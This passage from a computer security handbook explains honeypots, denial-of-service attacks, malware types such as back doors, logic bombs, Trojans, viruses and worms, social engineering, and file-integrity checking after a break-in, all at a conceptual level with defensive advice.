A final approach to subverting attackers is to set up decoy systems for the attackers to attack. Decoy systems are closely monitored; often these systems are built with known vulnerabilities to increase their likelihood of attack. Decoy systems, sometimes called *honeypots* or *honeynets* have two primary advantages:

1. Because they are closely monitored, decoy systems can be used to learn about attackers. Decoy systems can reveal attacker locations, techniques, motivations, skill levels, objectives, and many other pieces of information.
2. If a decoy system is sufficiently rich and compelling, exploring that system might consume so much of the attacker's time that the attacker will not have the time to attack systems that you actually care about. For example, Brad Spencer has championed the use of honeypot open relays to monitor and distract e-mail spammers (for some details, see http://fightrelayspam.homestead.com/files/antispam06132002.htm).

Decoy systems are not without their risks. The first risk is that the attacker will find something of value in the system. You must make absolutely certain that there is nothing on the decoy system that an attacker could use to harm you. Specifically, the decoy system should contain no information about your organization. One way to accomplish this goal is to use only new computers for your decoy system, rather than computers repurposed from other projects. Furthermore, if your organization has a firewall, the decoy system should be outside the firewall.

A second risk of decoy systems is that they can become platforms for attacking other computers on the Internet—possibly making you liable for third-party civil damages or even for charges of criminal conspiracy!

For both of these reasons, you should think carefully—and possibly consult with an attorney—before setting up a decoy or honeypot system.

CHAPTER 8.
ATTACKS AND DEFENSES

At a Glance

Many techniques have been developed to attack workstations and servers. These techniques can be broadly divided into three categories:

Denial of service attacks and remote exploits
Vulnerabilities exist in many computers that make it possible for an attacker to disable the system without otherwise compromising it. In many cases, denials of service can be performed over the network without actually logging into the system. In other cases, attackers use network access to compromise and penetrate vulnerable systems.

Programmed threats
Another way for an attacker to compromise a system is to provide the system's users with a hostile program and wait for them to run the program. Some programs install hidden services that give attackers remote access; others replicate themselves and travel between computers.

Social engineering
In a social engineering attack, the attacker takes advantage of the natural helpfulness of your users or administrators to cause them to reveal secrets or take inappropriate actions.

Each of these classes of attacks is covered in greater detail in this chapter, along with recommended defense practices.

Denial of Service Attacks

A denial of service attack is an attack in which one user takes up so much of a shared resource that none of the resource is left for other users. Denial of service attacks compromise the *availability* of the resources. Those resources can be processes, disk space, processor time, printer paper, modems, or the time of a harried system administrator. The result is degradation or loss of service.

Broadly speaking, there are two types of denial of service attacks:

Destructive attacks
Such attacks damage or destroy resources so you can't use them. Examples range from causing a disk crash that halts your system to deleting critical system files.

Overload attacks
Such attacks overload some system service or exhaust some resource (either deliberately by an attacker, or accidentally as the result of a user's mistake), thus preventing others from using that service. This simplest type of overload involves filling up a disk partition so users and system programs can't create new files. A network-based overload attack could bombard a network server with so many requests that it is unable to service them, or it could flood an organization's Internet connection so that there would be no bandwidth remaining to send desired information.

Many modern operating systems provide many mechanisms for protecting against denial of service. You may be able to limit the maximum number of files or processes that a user is allowed, the amount of disk space that each user is allotted, and even the amount of CPU time that each user process may consume. Network services can be limited

in terms of CPU time and rate. Nevertheless, many systems in the field remain vulnerable to denial of service attacks because the protective measures are typically not enabled nor properly set.

Destructive Attacks

There are a number of ways to destroy or damage information in a fashion that denies service. Almost all of the known attacks can be prevented by restricting access to critical accounts and files, and protecting them from unauthorized users. If you follow good security practices to protect the integrity of your system, you will also prevent destructive denial of service attacks.

Overload Attacks

In an overload attack, a shared resource or service is overloaded with requests to such a point that it is unable to satisfy requests from other users. For example, if one user spawns enough processes, other users won't be able to run processes of their own. If one user fills up the disks, other users won't be able to create new files. You can partially protect against overload attacks through the use of quotas and other techniques that limit the amount of resources that a single user can consume. You can use physical limitations as a kind of quota — for example, you can partition your computer's resources, and then limit each user to a single partition. Finally, you can set up systems for automatically detecting overloads and restarting your computer — although giving an attacker the capability to restart your computer at will can create other problems.

Process, CPU, and Memory Overload Problems

One of the simplest denial of service attacks is a *process attack*. In a process attack, one user makes a computer unusable for others who happen to be using the computer at the same time. Another common process-based denial of service occurs when a user spawns many processes that consume large amounts of CPU or disk bandwidth. Yet another is when a user's programs use up all of the system's memory (physical and virtual). Such programs are sometimes called *bacteria* or *rabbits*, in tribute to their rapid spawning.

These attacks are generally of concern only with shared computers: the fact that a user incapacitates his or her own workstation is of no interest if nobody else is using the machine. For suggestions on recovering from a process-based attack, see (PUIS, Chapter 24).

The best way to deal with overload problems is to educate your users about how to share the system fairly. If CPU-intensive jobs are common and you have a network of similar machines, you may wish to investigate a distributed task scheduling system. Quotas and limits, if supported by the operating system, can also be helpful.

Disk Attacks

Another way of overwhelming a system is to fill a disk partition. If one user fills up the disk, other users won't be able to create files or do other useful work. Sometimes disks fill up suddenly when an application program or a user erroneously creates too many files (or a few files that are too large). Other times, disks fill up because many users are slowly increasing their disk usage.

Most operating systems provide commands to help the administrator examine disk space usage by device and user and make decisions about files to delete to recover more space. An effective way to protect your system from disk attacks is to use your operating system's disk quota feature (usually available on POSIX-based systems). With disk quotas, each user can be limited in their disk use. Disk quotas typically need to be specified for each disk partition or filesystem that users can access – don't forget about the partitions that store e-mail boxes, or that provide temporary filespace to processes.

You can also help protect your system from disk attacks and accidents by dividing your hard disk into several smaller partitions. Place different users' home directories on different partitions. If one user fills up one partition, users on other partitions won't be affected. Drawbacks of this approach include needing to move directories to different partitions if they require more space, and an inability to hard-link files between some user directories on systems that support hard links.

If you run network services that have the potential to allow outsiders to use up significant disk space (e.g., incoming mail or an anonymous FTP site that allows uploads), consider isolating them on separate partitions to protect your other partitions from overflows. Temporarily losing the ability to receive mail or files is an annoyance, but losing access to the entire server is much more frustrating.

Some filesystems, particularly those used on Unix systems, automatically reserve a portion of the disk that can only be used by superuser processes. This feature can help protect the system when the disk is full by allowing the superuser to log in and administer the system. On filesystems that don't provide this feature, you can simulate it by creating a large dummy file on the disk that you can later delete if you need to recover space in an emergency.

Network Denial of Service Attacks

Networks are also vulnerable to denial of service attacks. In attacks of this kind, someone prevents legitimate users from using the network. Network denials of service come in several flavors.

Service Overloading

Service overloading occurs when floods of network requests are made to a server daemon on a single computer. These requests can be initiated in a number of ways, both accidental and intentional.

Service overloading can cause the system to be so busy servicing network interrupt requests that it can't perform any other tasks in a timely fashion. Many requests will be thrown away as there is no room to queue them. Invariably, the legitimate requests will be resent, further adding to your computer's load. If a service that causes a daemon to start a new process is under attack, your system may spawn so many new processes that it has no process table entries remaining to perform useful work. Similarly, the attack may cause the service may consume too much memory, CPU, or disk space.

The overload caused by the attack may be the ultimate goal of the attacker. Alternatively, the attack may be planned to mask an attack somewhere else. For example, a machine that records audit records may be attacked to prevent a login or logout from being logged in a timely manner. The overloading attack may be staged merely to distract attention or clog communications lines while something else, such as a car bombing, is taking place.

You can use a network monitor to reveal the type, and sometimes the origin, of overload attacks. If you have a list of machines and their hardware addresses (i.e., Ethernet board-level address, not IP address) this may help you track the source of the problem if it is local to your network. Isolating your local subnet or network while finding the problem may also help. If you have logging on your firewall or router, you can quickly determine if the attack is coming from outside your network or inside—you cannot depend on the source IP address in the packet being correct.

Although you cannot prevent overload attacks, there are many measures that you can take to limit their damage or make your system more robust against them.

Prepare for the attack
Install monitoring, logging, and other analysis systems, so that if an attack takes place, you will be able to rapidly diagnose the type of attack and, hopefully, the source. Have (protected) spare taps on your subnet so you can quickly hook up and monitor network traffic. Have printed lists of machine hardware and IP addresses available so you can determine the source of the overload by observing packet flow.

Partition your network into multiple subnets
This way, if one subnet gets flooded as part of an attack or accident, not all of your machines are disabled.

Provide for multiple Internet connections to your organization
These connections may include some that are not advertised but are kept in reserve.

Use "throttle" controls in your applications
Some applications have a "throttle" built in. If too many requests are received in too short a time, they will start rejecting requests and log a message that the service is failing. This is done under the assumption that some bug has been triggered to cause all the traffic. This has the side-effect of disabling your service as surely as if all the requests were accepted for processing. However, it may prevent the server itself from failing, and it results in an audit record showing when the problem occurred.

Make sure the limits specified in your configuration file are reasonable
For example, if you are running the Apache web server, a sudden increase in the number of requests to your server can cause a large number of *http* processes to be *fork*()'ed off. The total number of simultaneous connections is controlled by the parameter MaxClients in the Apache configuration file *httpd.conf*.

Many Apache distributions have MaxClients set at the value of 200, meaning that a maximum of 200 separate http processes might exist. If each httpd process has a memory of 8 megabytes, that could conceivably take 1.6 gigabytes of swap space. On the other hand, if each http process is taking 20 megabytes, then you would need 40 gigabytes of swap space — probably more than your system has.

Message Flooding

Message flooding occurs when a user slows down the processing of a system on the network, to prevent the system from processing its normal workload, by "flooding" the machine with network messages addressed to it. These may be requests for file service or login, or they may be simple echo-back requests. Whatever the form, the flood of messages overwhelms the target so it spends most of its resources responding to the messages. In extreme cases, this flood may cause the machine to crash with errors or lack of memory to buffer the incoming packets. This attack denies access to a network server.

A server that is being flooded may not be able to respond to network requests in a timely manner. An attacker can take advantage of this behavior by writing a program that answers network requests in the server's place. For example, an attacker could flood an NIS server and then issue his own replies for NIS requests—specifically, requests for passwords.

A similar type of attack is a *broadcast storm*. By careful crafting of network messages, you can create a special message that instructs every computer receiving the message to reply or retransmit it. The result is that the network becomes saturated and unusable. Prior to the late 1990s, broadcast storms almost always resulted from failing hardware or from software that is under development, buggy, or improperly installed. However, it is possible to craft an intentional broadcast storm, and the so-called *smurf* and *fraggle* attacks were examples of such storms.

Broadcasting incorrectly formatted messages can also bring a network of machines to a grinding halt. If each machine is configured to log the reception of bad messages to disk or console, storms can generate so many messages that the clients can do nothing but process the errors and log them to disk or console.

Once again, preparing ahead with a monitor and breaking your network into subnets will help you prevent and deal with this kind of problem, although such planning will not eliminate the problem completely. In addition, some packet-filtering firewalls (external or host-based) can perform connection-rate-throttling to reduce the impact of these kinds of attacks. The Linux 2.4 kernel's netfilter component is particularly notable in this regard.

It is important that all routers and firewalls be correctly configured to prevent forwarding of broadcast packets other than from authorized hosts. Check your vendor documentation for information on how to do this. CERT/CC advisory CA-1998-01, available from their WWW site, provides details on how to configure many common systems to stop such forwarding.

Most attack software that initiates denial-of-service attacks uses randomly-generated source addresses to decrease the likelihood that they will be intercepted. As a result, egress filters on borer routers will frequently stop computers within your network from participating in distributed denial of service attacks — and if they are still involved, it will make it much easier to trace them, because the attack packets will have proper return addresses.

Clogging (SYN Flood Attacks)

The implementation of the TCP/IP protocols on some operating systems allow them to be abused in various ways. One way to deny service is to use up the limit of partially open connections. TCP connections open on a multi-way handshake to open a connection and set parameters. If an attacker sends multiple requests to initiate a connection ("SYN" packets) but then fails to follow through with the subsequent parts of the connection, the recipient will be left with multiple half-open connections that are occupying limited resources. Usually, these connection requests have forged source addresses that specify nonexistent or unreachable hosts that cannot be contacted. Thus, there is also no way to trace the connections back. They remain until they time out (or until they are reset by the intruder). Such attacks are often called *SYN flood attacks* or, more simply, *clogging*.

There are many solutions to the problems of SYN floods. Some operating systems will automatically detect when they are being subjected to a SYN flood attack and will lower the timeout for SYN packets. Alternatively, if the table of half-opened connections is filled, the operating system can choose to randomly drop one of the entries from the table. As the table usually only fills up when the system is under attack, the odds are overwhelming that one of the attacker's SYN packets will be dropped.

Finally, the server can use SYN cookies. When SYN cookies are in use, the SYN+ACK that is sent from the TCP server to the TCP client contains enough information for the server to reconstruct its half of the TCP connection, allowing the server to flush the original SYN from its tables. When the ACK is received from the client, the server reconstructs the original SYN, the TCP three-way hand-shake connection is completed, and the connection starts up. This effectively makes TCP setup a stateless process. SYN cookies were invented by Daniel Bernstein and are described in detail at *http://cr.yp.to/syncookies.html*. A SYN cookies implementation is included with BSD and Linux systems (but must be specifically enabled on Linux systems).

Some operating systems allow you to change the queuing behavior for half-open connections. You can increase the size of the queue, and decrease the time before a half-open connection times out. Again, this is nonstandard in form, and some vendor versions require manipulation of kernel variables with a symbolic debugger. Check with your vendor for specifics.

Malformed traffic attacks

In the past, bugs in low-level network drivers have caused many systems to fail when presented with a single malformed packet or HTTP query. For example, the infamous "Ping of Death" caused both Windows and Unix systems to crash when they received an ICMP packet that was longer than a specific threshold value. Many networked devices, including printer servers, home firewalls, and even routers, have crashed when they are probed for IIS or Apache vulnerabilities.

In general, the only way to protect against malformed traffic is to use a proxy firewall and to be sure that your systems are properly updated.

Distributed denials of service

The most pernicious network attacks are *distributed denials of service* (DDoS) attacks. In a DDoS attack, the attacker overloads network services or floods the network with messages, but does so from a large number of different attack hosts distributed around the Internet. Because the attack packets do not come from a single system, it is difficult to block them with a packet filtering firewall without cutting your hosts off from the whole of the Internet.

DDoS attacks are usually coordinated through slave processes (*zombies* or *Trojans*) installed in compromised hosts that allow the attacker to remotely direct the hosts to attack a target. A key to preventing DDoS attacks (and potential liability) is keeping your systems protected from compromise so that they cannot be used as zombies in further attacks. At the network level, implementing ingress and egress filtering to prevent packets with bogus source addresses from leaving the local network can prevent local machines from participating in DDoS attacks. This strategy is discussed in RFC2827.

However, DDoS attacks do not require the use of special software. One form of DDoS attacks involves simply sending ICMP echo ("ping") messages with forged source addresses to many computers around the Internet. The ICMP echo messages are returned to the victim computer. Another version simply initiates a number of TCP connection attempts from nonexistent IP addresses. The target machine consumes resources initiating and verifying the connection attempt, and this can paralyze a machine if enough requests come in.

Sometimes a DDoS attack can be defeated in progress by changing the IP address and hostname of the machine being attacked. If the attack software is using a hardcoded victim address or hostname, changing these can protect the victim host and packets directed at the old address can be filtered at the external router or by the organization's ISP. For example, the *Blaster* worm in August 2003 was designed to initiate a DDoS attack against a hardcoded address for the Microsoft Windows Update service. Microsoft responded by insuring that Windows Update would use a different IP address.

One of the best known DDoS attacks took place in February 2000, and targeted web servers at high-profile companies like Amazon and Yahoo. An analysis of *trinoo*, the Trojan that was used to compromise and control the zombies that participated in the attack, can be found at *http://www.sans.org/newlook/resources/IDFAQ/trinoo.htm*

Remote exploits

Because network server applications are designed to communicate with untrusted outsiders, and because many run with special privileges, bugs in network server applications can often lead to remote exploits.

Many remote exploits are based on the *buffer overflow* technique. This technique relies on the way that the C programming language lays out information inside the computer's memory. The remote system might try to store 100 bytes into a buffer that is only set up to hold 30 or 40 bytes. The resulting information overwrites the C program's stack frame and causes machine code specified by the attacker to be executed with the process's privileges.[242]

The most important defense against remote exploits is care in choosing and configuring networking software. Some application programs have repeatedly proven vulnerable, while others have been designed from the outset with security in mind and have a much lower rate of compromise. This defense is covered in greater depth in the chapter on Server Security.

Programmed Threats

Computers are designed to execute instructions one after another. These instructions usually do something useful—calculate values, maintain databases, and communicate with users and with other systems. Sometimes, however, the instructions executed can be damaging or malicious in nature. When the damage happens by accident, we call the code involved a software *bug*. Bugs are perhaps the most common cause of unexpected program behavior.

But if the source of the damaging instructions is an individual who intended that the abnormal behavior occur, the instructions are *malicious code*, or a *programmed threat*. Some people use the term *malware* to describe malicious software.

These days, most programmed threats arrive via the Internet, in the form of either an e-mail message or a direct attack on a network-based server. A received e-mail message or direct attack may be the result of a random event — your organization's web server might be randomly chosen — or it may be deliberate: you may have been specifically targeted by a adversary. It is easy to mistake a directed attack for a random one, and vice-versa. A directed attack is much more worrisome than a random one, as a motivated attacker may continue to assault your organization until the attacker is successful or is stopped.

Users may also be unwitting agents of transmission for viruses, worms, and other such threats. They may install new software from outside, and install embedded malicious code at the same time. They may run a "screen saver" or download a pornographic "viewer" from the Internet that contains a Trojan horse. Of course, most programs that are downloaded from the Internet do not contain any hostile code at all. However, the widespread practice of downloading and running code from untrusted sources makes it all the easier for hostile programs to be successful. You must therefore be extremely cautious about importing source code and command files from outside sources. High-security sites should avoid software that is not cryptographically signed by a trusted author. This won't necessarily protect you, but it will give you somebody to sue if things go wrong.

If possible, *never* download binary files. Instead, read through *and understand* the source code of all software (if available) before installing a new package on your system. If you are suspicious of the software, don't use it, especially if it requires special privileges. Accept software only from trusted sources.

Note that you should not automatically trust software from a commercial firm or group. Sometimes commercial firms insert back doors into their code to allow for maintenance, or recovering lost passwords; others have been known to

[242] This form of attack is at least 35 years old and well known. It is astonishing that vendors are still building software that can be exploited this way.

distribute privacy-invading "spyware" with their software. As long as customers are willing to purchase software that comes with broad disclaimers of warranty and liability, there will be little incentive for vendors to be accountable for the code they sell. Thus, you might want to seek other, written assurances about any third-party code you buy and install on your computers.

Free software is no safer, although it has the advantage of providing source code that you can read for yourself. Most freeware (and open source) project software is written and maintained by multiple programmers. Contributions are often accepted without careful screening by other members of the group. Thus, a small addition can be made without being observed by others. Furthermore, even if the code is scanned, subtle dependencies and backdoors may not be recognized — few people know how to carefully review software, and if they are not particularly interested in understanding every nuance, they may easily miss something nasty. Even an "independent" review may not be sufficient: besides lack of training, people can make mistakes, and sometimes there will even be collusion between the reviewer and the coder!

Unfortunately, many programs that are downloaded and run are simply too big to read through on a routine basis. What's more, even though many programs are available for download in source code form, many people download pre-compiled binaries. There is no way to assure that the binaries being download actually match the source code from which that were reportedly produced.

As an alternative to inspection, only run programs that other people have tested before you. This method isn't fail-safe, because it's possible that the program has an attack that won't trigger for other people but will trigger for you. Or it's possible that the program triggers for many people, but nobody else notices the attack.

As a matter of good policy, new software should first be installed on some noncritical systems for testing and familiarization. This practice gives you an opportunity to isolate problems, identify incompatibilities, and note quirks. Don't install new software first on a "live" production system! And never, ever run anything as the superuser or administrator unless you absolutely must.

If you are targeted by a knowledgeable insider, that insider may write back doors, logic bombs, Trojan horses, and bacteria directly on the target system using readily-available tools. Your users and especially your staff pose a significant threat to your system's overall security: these people understand the system, know its weaknesses, and know the auditing and control systems that are in place. Legitimate users often have access with sufficient privilege to write and introduce malicious code into the system. Especially ironic, perhaps, is the idea that at many companies the person responsible for security and control is also the person who could cause the most damage if he wished to issue the appropriate commands. Frequently, there is no technical auditing or other checks-and-balances for senior system management.

Security tools and toolkits

Many programs have been written that can automatically scan for computer security weaknesses. Some of these programs quickly probe the computer on which they are running for system vulnerabilities, while others scan over a network for vulnerabilities that can be exploited remotely. These programs are sometimes called security scanners or, more generally, *security tools*.

Scanners and other tools are double-edged programs. On the one hand, they can be used by professionals for the purpose of securing computer systems: if you can rapidly scan a system for known vulnerabilities, you can use that list of vulnerabilities as a checklist that tells you what to fix. On the other hand, these tools can also be used by perpetrators intent on penetrating computer systems: security scanners give these individuals and organizations a roadmap of how to break into systems.

Some security tools are written for professional use, although they can obviously be used by attackers as well. Still more tools are distributed over the Internet exclusively for malicious use. Ironically, the code quality of some malicious tools is very high — so high that these tools have been taken up by security professionals. The *nmap* network mapping tool is an example of a tool that was developed by the computer underground and is now widely used by professionals.

Rootkits are a special case: these are prepackaged attack toolkits that also install backdoors into your system once they have penetrated superuser account security.

Because of the availability of security tools and high-quality attackware, you must be aware of potential vulnerabilities in your systems, and keep them protected and monitored. Obtaining the tools and running them yourself has some merit, but there are also dangers. Some of the tools are not written with safety or portability in mind, and may damage your systems. Other tools may be booby-trapped to compromise your system clandestinely, when you think you are simply scanning for problems. Don't rush to use security scanners yourself unless you are very certain that you understand what they do and how they might help you secure your own system.

Back Doors and Trap Doors

Back doors, also called *trap doors*, are pieces of code written into applications or operating systems to grant programmers access to programs without requiring them to go through the normal methods of access authentication. Back doors and trap doors have been around for many years. They're typically written by application programmers who need a means of debugging or monitoring code that they are developing.

Most back doors are inserted into applications that require lengthy authentication procedures, or long setups requiring a user to enter many different values to run the application. When debugging the program, the developer may wish to gain special privileges, or to avoid all the necessary setup and authentication steps. The programmer also may want to ensure that there is a method of activating the program should something be wrong with the authentication procedure that is being built into the application. The back door is code that either recognizes some special sequence of input, or is triggered by being run from a certain user ID. It then grants special access.

Back doors become threats when they're used by unscrupulous programmers to gain unauthorized access. They are also a problem when the initial application developer forgets to remove a back door after the system has been debugged and some other individual discovers the door's existence.

Sometimes, an attacker inserts a back door in a system after he successfully penetrates that system. The back door gives the cracker a way to get back into the system or to gain administrative privileges at a later time.

Protecting against backdoors is complicated. The foremost defense is to routinely check the integrity of important files (see chapter 5-3). In addition to checking your files, you should routinely scan the system for privileged files, scan your system for open TCP/IP ports, and periodically check permissions and ownership of important files and directories. Unfortunately, it is now possible to hide the existence, the function, and the triggers of hostile software with great subtlety. As a result, if you allow your system to become compromised, you may not be able to detect that changes have taken place.

Logic Bombs

Logic bombs are programmed threats that lie dormant in commonly used software for an extended period of time until they are triggered; at this point, they perform a function that is not the intended function of the program in

which they are contained. Logic bombs usually are embedded in programs by software developers who have legitimate access to the system.

Conditions that might trigger a logic bomb include the presence or absence of certain files, a particular day of the week, or a particular user running the application. The logic bomb might check first to see which users are logged in, or which programs are currently in use on the system. Once triggered, a logic bomb can destroy or alter data, cause machine halts, or otherwise damage the system. In one classic example, a logic bomb checked for a certain employee ID number and then was triggered if the ID failed to appear in two consecutive payroll calculations (i.e., the employee had left the company).

Time-outs are a special kind of logic bomb that are occasionally used to enforce payment or other contract provisions. Time-outs make a program stop running after a certain amount of time unless some special action is taken, such as paying a license fee. Time-outs are regularly included in beta test software so that users upgrade to newer builds or to the formal release.

Protect against malicious logic bombs in the same way that you protect against back doors: don't install software without thoroughly testing it and reading it. Keep regular backups so that if something happens, you can restore your data.

Trojan Horses

Analogous to their namesake, modern-day *Trojan horses* resemble a program that the user wishes to run—a login process, a game, a spreadsheet, or an editor. While the program appears to be doing what the user wants, it actually is doing something else unrelated to its advertised purpose, and without the user's knowledge. For example, the user may think that the program is a game. While it is printing messages about initializing databases and asking questions like "What do you want to name your player?" and "What level of difficulty do you want to play?" the program may actually be deleting files, reformatting a disk, or posting confidential documents to a web site across the globe. Trojan horses are, unfortunately, as common as jokes within some environments. They are often planted as cruel tricks on hacker web sites and circulated among individuals as shared software.

Trojan horses have been found in installation programs and scripts. Shell files (especially *shar* files), VBS, *awk*, Perl, and *sed* scripts, TeX files, PostScript files, MIME-encoded mail, and web pages can all contain commands that can cause you unexpected problems. Even text files can be dangerous. Some editors allow commands to be embedded in the first few lines or the last few lines of files to let the editor automatically initialize itself and execute commands (see the documentation for your own editor to see how to disable this feature).

If you are unpacking files or executing scripts for the first time, you might wish to do so on a secondary machine or use a restricted environment to prevent the package from accessing files or directories outside its work area (Unix provides this feature via the chroot() system call).

Another form of a Trojan horse makes use of block-send commands or answerback modes in some serial terminals that were developed in the 1970s and 1980s (and that are emulated by many terminal emulation programs written since, including Microsoft's HyperTerminal). Many brands of terminals have modes where certain sequences of control characters will cause the current line or status line to be answered back to the system as if it had been typed on the keyboard. Thus, a command embedded in mail may direct the terminal to send a "delete all files and log out" command to the operating system, followed by a "clear screen" sequence to the terminal. Avoid or disable this feature on your terminal or emulator.

Viruses

A true *virus* is a sequence of code that is inserted into other executable code, so that when the regular program is run, the viral code is also executed. The viral code causes a copy of itself to be inserted in one or more other programs. Viruses are not distinct programs—they cannot run on their own, and they need to have some host program, of which they are a part, executed to activate them.

Nearly all viruses target personal computers running popular operating systems. such as Microsoft DOS, Microsoft Windows, and Apple MacOS. Viruses can propagate on operating systems that offer relatively little protection, such as DOS and MacOS Versions prior to 10, and those that offer high degrees of protection, such as Microsoft Windows NT and XP. Viruses have also been written for UNIX systems; virus authors have even created cross-platform viruses that can infect both Windows *and* Unix-based system. Viruses that target PC boot sectors can infect systems running BSD or Linux as easily as Windows if an infected floppy disk is booted (although they often cannot spread further).

Viruses are a powerful tool for attackers. While any task that can be accomplished by a virus can be accomplished through other means, viruses are able to spread without the involvement or direction of the attacker. They can also spread to areas that the attacker cannot personally reach.

You can protect yourself against viruses using the same techniques you use to protect your system against back doors and crackers. On Intel-based PCs, it's also important not to boot from untrusted disks. Anti-virus software is now considered a basic requirement for corporate and home PCs. Despite this, more machines lack anti-virus software than have it. Almost as unfortunate is the fact that many people who have purchased anti-virus software have failed to update the virus signatures recently, thus rendering the software largely useless against current threats.

Worms

Worms are programs that can run independently and travel from machine to machine across network connections; worms may have portions of themselves running on many different machines. Worms do not change other programs, although they may carry other code that does (for example, a true virus). There have been dozens of network worms that have targeted many different operating systems. Perhaps the most common propagate by e-mail, often extracting e-mail addresses from the infected system's e-mail application's address book and sending itself to those users claiming to be an important message from the infected system's owner (or from other users whose address is in the owner's address book.)

Protecting against worm programs requires the same techniques as protecting against break-ins. If an intruder can enter your machine, so can a worm. If your machine is secure from unauthorized access, it should be secure from the worm as well. All of our advice about protecting against unauthorized access applies here.

If you suspect that your machine is under attack by a worm program across the network, call one of the computer-incident response centers to see if other sites have made similar reports. You may be able to get useful information about how to protect or recover your system in such a case. Consider severing your network connections immediately to isolate your local network. If there is already a worm program loose in your system, you may help prevent it from spreading, and you may also prevent important data from being sent outside of your local area network. If you've done a good job with your backups and other security, little should be damaged.

Blended Threats

Most of the newer and more dangerous programmed threats are *blended threats*. A blended threat is a programmed attack that combines the features of several other kinds of attacks and propagates through multiple vectors. A typical blended threat might be a network worm that propagates by e-mailing copies of itself to addresses in the infected computer's address book or through file sharing with other connected systems; once infected, the worm installs a back door, a zombie for coordinating a future distributed denial of service attack, and a logic bomb. Defending against blended threats is like defending against single-vector attacks, but requires that you consider all of the vectors. A layered defense is the best practice for avoiding blended threats.

Social Engineering

On many computer systems it is possible to exploit bugs or other vulnerabilities to parlay ordinary access granted to normal users into "superuser" or "administrative" access that is granted to system operators. Thus, with a stolen username and password, a moderately skilled attacker can gain full run of many systems.

One of the most common ways for an attacker to get a username and password is *social engineering*. Social engineering is one of the simplest and most effective means of gaining unauthorized access to a computer system. For a social engineering attack, an attacker basically telephones the target organization and tries to socially extract information. For example, the attacker might pretend to be a new employee who has forgotten the password for his or her account and needs to have the password "reset." Or the attacker might pretend to be a service representative, claiming that the Administrator account needs to have its password changed so that routine maintenance can be performed. Social engineering attacks are effective because people generally want to be helpful – they are the computer equivalent of confidence games.

Social engineering can also be automated. There are many so-called *phishing* programs that will send social engineering e-mails to thousands or tens of thousands of users at a time. Some programs solicit usernames and passwords. Others try for valid credit cards.

The most effective defense against social engineering is a vigorous user education program. Users should be taught (and reminded frequently) not to divulge any security-related information to anyone they do not know already to be an authentic organization security employee, and then only in person. Users should be told that security personnel will never ask them to divulge their passwords, credit card numbers, or other authenticators, and anyone or any message that does should be immediately reported to the computer staff.

CHAPTER 9.
DETECTING AND MANAGING A BREAK-IN

At a Glance

Despite your best efforts, you may have to deal with a compromised system. This chapter discusses how you can use auditing, logging, and forensics to help detect compromises and identify what's been modified on a compromised system, and provides step by step guidance for how to recover from an attack.

Auditing and Logging

After you have established the protection mechanisms on your system, you will want to be sure that your protection mechanisms actually work. You will also want to observe any indications of misbehavior or other problems. This process is known as *monitoring or auditing*.

Two of the most common audits are inspections of file integrity and review of system log files.

File Integrity Checks

Although there are many reasons that you might want to examine the integrity of your system's files, one of the most common reasons is to determine what has changed after a computer has been attacked, broken into, and compromised.

There are basically three approaches to detecting changes to files:

1. Use comparison copies of the data to be monitored; this is the most certain way.
2. Monitor *metadata* about the items to be protected; this includes monitoring the modification time of entries as kept by the operating system, and monitoring any logs or audit trails that show alterations to files.
3. Use some form of *signature* of the data to be monitored, and periodically recompute and compare the signature against a stored value.

Each of these approaches has drawbacks and benefits. Whichever you choose, there are several ways you can examine a potentially compromised system:

- Physically remove the hard disk from the computer in question, attach the disk to a second computer as an auxiliary disk, boot the second computer, mount the disk read-only, and use the second computer's operating system to examine the disk (or make a block-for-block copy to examine).
- Leave the suspect disk in the suspect computer, but boot the suspect computer with a clean operating system from a CD-ROM or a floppy disk. Then, using only the tools on the CD-ROM or floppy, you could proceed to mount the suspect disk read-only and analyze the possibly compromised filesystem.
- Log into the suspect computer and run whatever integrity-checking tools happen to be installed.

Clearly, the most thorough way to examine the suspect system is the first technique. In practice, the third technique is the most common, but is completely inadequate. If an attacker truly compromises your computer system, nothing can be trusted – including the integrity-checking software or databases.

Comparison Copies

The safest and most direct method of detecting changes to data is to keep a copy of the unaltered data, and do a byte-by-byte comparison when needed. If there is a difference, this indicates not only that a change occurred, but what that change involved.

Comparison copies, however, are unwieldy. They require that you keep copies of every file of interest. Not only does such a method require twice as much storage as the original files, it also may involve a violation of license or copyright of the files (in general, copyright laws allow one copy for archival purposes, and your distribution media is that one copy).[243] To use a comparison copy means that both the original and the copy must be read through, byte by byte, each time a check is made. And, of course, the comparison copy needs to be saved in a protected location.

Even with these drawbacks, comparison copies have a particular benefit—if you discover an unauthorized change, you can simply replace the altered version with the saved comparison copy, thus restoring the system to normal. These copies can be made locally, at remote sites, or over the network, as we describe in the following sections.

Local copies

One standard method of storing comparison copies is to put them on another disk, particularly on removable media. Many people report success with storing copies of critical system files on removable media drives.[244] If there is any question about a particular file, the appropriate disk is placed in the drive, mounted, and compared. If you are careful about how you configure these disks, you get the added (and valuable) benefit of having a known good version of the system to boot up if the system is compromised by accident or attack. Making regular backups to removable or write-once media such as tapes and CDs can provide similar benefits.

A second standard method of storing comparison copies is to make on-disk copies somewhere else on the system. You can compress and/or encrypt the copy to help reduce disk use and keep it safe from tampering. The disadvantage to compression and encryption is that it then requires extra processing to recover the files if you want to compare them against the working copies. This extra effort may be significant if you wish to do comparisons daily (or more often!). Moreover, you can't protect the encryption program itself this way.

Remote copies

A third method of using comparison copies is to store them on a remote site and make them available remotely in some manner. For instance, you might place copies of all the system files on a disk partition on a secured server, and export or share that partition read-only using NFS or some similar protocol. All the client hosts could then mount that partition and use the copies in local comparisons. Of course, you need to ensure that whatever programs are used in the comparison are taken from the remote partition and not from the local disk. Otherwise, an attacker could modify those files to not report changes!

Another method of remote comparison involves using a program such as *rdist* to do the comparison across the network. (PUIS, 626-627) Remember that it is not enough to keep copies of executable programs. Shared libraries and configuration files must usually be compared as well.

Checklists and Metadata

Saving an extra copy of each critical file and performing a byte-by-byte comparison can be unduly expensive. It requires substantial disk space to store the copies. Furthermore, if the comparison is performed over the network, it will involve substantial disk and network overhead each time the comparisons are made.

A more efficient approach is to store a summary of important characteristics of each file and directory. When the time comes to do a comparison, the characteristics are regenerated and compared with the saved information. If

[243] Copyright laws—and many licenses—do not allow for copies on backups.
[244] Note that an external Firewire-based disk drive fits this description.

the characteristics are comprehensive and smaller than the file contents (on average), then this method is clearly a more efficient way of doing the comparison.

